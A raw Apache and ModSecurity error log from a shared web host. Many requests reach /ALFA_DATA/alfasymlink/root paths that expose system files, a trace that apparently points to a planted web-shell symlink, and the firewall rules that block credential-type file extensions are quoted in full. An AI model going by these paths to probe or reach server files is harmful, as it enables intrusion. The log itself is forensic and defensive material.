[Mon Oct 26 20:20:50.153739 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.90.8.255:48634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:20:50.311010 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.194:65360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/sections/__ksymtab_gpl
[Mon Oct 26 20:21:06.199285 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.93.211.16:53948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:10.169617 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.205.120.22:36740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:16.276238 2026] [security2:error] [pid 3113375:tid 3113375] [client 16.216.88.230:32768] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at_ufLFVcNHq_I-IXO78iwAAAAM"]
[Mon Oct 26 20:21:16.276708 2026] [security2:error] [pid 3113375:tid 3113375] [client 16.216.88.230:32768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at_ufLFVcNHq_I-IXO78iwAAAAM"]
[Mon Oct 26 20:21:16.277040 2026] [security2:error] [pid 3113375:tid 3113375] [client 16.216.88.230:32768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at_ufLFVcNHq_I-IXO78iwAAAAM"]
[Mon Oct 26 20:21:16.302863 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.199:22024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/ctor
[Mon Oct 26 20:21:18.289142 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.22.87.224:63568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:22.954641 2026] [security2:error] [pid 3098113:tid 3098113] [client 85.208.96.196:49508] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ru/index.db"] [unique_id "at_ugrHarSgES5WqcDhIfgAAAAU"]
[Mon Oct 26 20:21:22.955095 2026] [security2:error] [pid 3098113:tid 3098113] [client 85.208.96.196:49508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ru/index.db"] [unique_id "at_ugrHarSgES5WqcDhIfgAAAAU"]
[Mon Oct 26 20:21:22.955590 2026] [security2:error] [pid 3098113:tid 3098113] [client 85.208.96.196:49508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ru/index.db"] [unique_id "at_ugrHarSgES5WqcDhIfgAAAAU"]
[Mon Oct 26 20:21:34.169138 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.217.171.106:11642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:38.171185 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.229.2.217:36501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:42.150946 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 44.193.102.198:9433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/device/subsystem/input5/device/driver/module/drivers/platform:pcspkr/pcspkr/driver/unbind
[Mon Oct 26 20:21:44.816095 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 178.128.248.204:41750] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:21:45.498699 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 178.128.248.204:46028] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:21:50.280454 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.70.209.13:20480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:21:52.417960 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.196:23846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/partial
[Mon Oct 26 20:21:58.150477 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.208.11.93:34710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:02.141025 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.231.181.240:38661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:06.169017 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.90.73.206:49776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:18.141154 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 54.156.55.147:5117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input1/device/drvctl
[Mon Oct 26 20:22:22.266317 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.2.191.202:38281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:26.140850 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.94.156.104:48819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:30.375108 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.156.55.147:36190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:38.151246 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.225.81.20:58217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:50.290704 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 23.22.59.87:62946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:22:58.135743 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.197.28.78:18890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:02.214847 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 50.17.193.48:50543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:06.206980 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.214.19.8:21798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:14.150176 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.217.82.254:60185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:21.652946 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.207:36120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/flags
[Mon Oct 26 20:23:22.144852 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 18.209.201.119:48417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:30.171901 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.172.125.172:15445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:34.135222 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.204.174.139:47903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:58.133016 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.227.180.70:22555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:23:58.841991 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:58.890760 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:58.942575 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:58.984517 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.026279 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.086234 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.134870 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.211621 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.260200 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.301041 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.343322 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.384639 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.450981 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.507117 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.567033 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.607719 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.652592 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.694682 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.791400 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.906501 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:23:59.967932 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.013373 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.066032 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.106727 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.147414 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.187829 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.229077 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.270361 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.314421 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.385062 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.452728 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.533366 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.636712 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.742750 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.884031 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.945472 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:00.996699 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.120156 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.171861 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.220279 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.286296 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.329883 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.375895 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.439631 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.493546 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.548487 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.608221 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.717149 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.775840 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.856480 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.896778 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.938562 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:01.980658 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.033916 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.161966 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.245403 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.329773 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.393525 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.434958 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.475813 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.722139 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.785442 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.827724 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.868562 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.909774 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:02.957318 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.001806 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.042340 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.093329 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.146322 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.187113 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.232399 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.273843 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:03.316499 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:34613] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:24:06.304306 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 3.213.85.234:51187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:13/eject
[Mon Oct 26 20:24:10.251581 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.45.15.233:22096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:24:14.148788 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.229.9:44399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:24:18.235954 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.213.85.234:37372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:24:18.303146 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.199:33982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/destroy_by_rcu
[Mon Oct 26 20:24:37.781776 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 185.191.171.6:32584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:24:42.149287 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 52.44.174.136:53732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/rescan
[Mon Oct 26 20:24:46.157041 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.213.70.100:42496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:24:50.538528 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 185.191.171.18:60258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/destroy_by_rcu
[Mon Oct 26 20:24:58.143347 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.223.193.255:43629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:25:07.407872 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 185.191.171.5:50160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:25:22.185985 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.205.74.196:21520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:25:26.145311 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 18.215.24.66:14530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/close_delay
[Mon Oct 26 20:25:30.201271 2026] [proxy_fcgi:error] [pid 3100940:tid 3100940] [client 3.213.85.234:52174] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:25:42.190633 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 100.25.120.246:25844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:25:50.424129 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 100.29.160.53:57746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/pci/devices/0000:00:03.0/firmware_node/subsystem/drivers/thermal/bind
[Mon Oct 26 20:25:54.203802 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.220.148.166:20354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:25:58.202937 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.226.34.98:20619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:06.161196 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.231.156.59:62462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:10.167938 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 18.214.238.178:21636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/tty25/subsystem/ttyS3/io_type
[Mon Oct 26 20:26:14.305837 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.45.29.57:57717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:29.896770 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.16:19662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/usersize
[Mon Oct 26 20:26:30.176287 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.200.58.199:35242] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:34.235693 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.212.219.113:63655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:38.293417 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.233.219.155:43749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:26:51.174062 2026] [security2:error] [pid 3098114:tid 3098114] [client 107.172.76.131:56902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_vwIU8RArHmY5bTmWvKQAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
